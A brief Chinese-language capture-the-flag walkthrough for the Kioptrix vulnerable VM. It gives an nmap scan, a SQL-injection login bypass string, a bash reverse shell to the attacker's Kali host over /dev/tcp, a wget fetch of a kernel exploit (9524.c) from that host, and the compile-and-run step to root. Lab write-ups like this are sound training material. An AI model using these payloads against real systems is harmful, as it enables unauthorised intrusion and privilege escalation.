Kioptrix渗透实战
1、环境简介
难度:简单
网络:桥接自动分配IP地址
2、主机发现
nmap -sP 192.168.34.0/24
3、漏洞发现
访问主页面,是一个登录界面,尝试使用万能用户名登录
1' or 1=1#
4、命令执行,反弹shell
返回一个框,ping目标主机,存在命令注入漏洞
kali监听,bash反弹shell
bash -i >& /dev/tcp/192.168.34.179/8888 0>&1
5、提权
查看内核版本,使用exp提权
确定内核版本后,尝试好几次,最后确定为9524.c
打开kali服务器(或者搭建建议服务器)
wget http://192.168.34.179:8888/9524.c
进行编译并运行
bash-3.00$ gcc -o 1 9524.c
bash-3.00$ ./1
获取root权限,并查看flag文件